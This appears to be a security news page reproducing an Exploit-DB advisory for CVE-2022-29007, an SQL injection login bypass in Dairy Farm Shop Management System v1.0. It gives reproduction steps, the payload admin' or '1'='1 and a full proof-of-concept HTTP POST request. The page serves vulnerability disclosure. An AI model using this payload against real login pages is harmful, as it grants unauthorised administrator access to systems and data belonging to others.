Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-29007: Offensive Security’s Exploit Database Archive

Multiple SQL injection vulnerabilities via the username and password parameters in the Admin panel of Dairy Farm Shop Management System v1.0 allows attackers to bypass authentication.

CVE
#sql#vulnerability#web#windows#php#auth#firefox
# Exploit Title: Dairy Farm Shop Management System 1.0 - SQL Injection Authentication Bypass
# Date: 2021-09-30
# Exploit Author: sanjay singh
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/dairy-farm-shop-management-system-using-php-and-mysql/
# Version: v1.0
# Tested on: Windows 10

Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/dfsms/index.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step 4 – Change the username to admin' or '1'='1  and password to dfsms
Step 5 – Click forward and now you will be logged in as admin.

POC

POST /dfsms/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://localhost
Connection: close
Referer: http://localhost/dfsms/index.php
Cookie: PHPSESSID=hgjvarn4tie1nmsufdn8mf1hrl
Upgrade-Insecure-Requests: 1

username=admin%27+or+%271%27%3D%271&password=dfsms&login=

Related news

CVE-2022-29007: Offensive Security’s Exploit Database Archive

Multiple SQL injection vulnerabilities via the username and password parameters in the Admin panel of Dairy Farm Shop Management System v1.0 allows attackers to bypass authentication.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907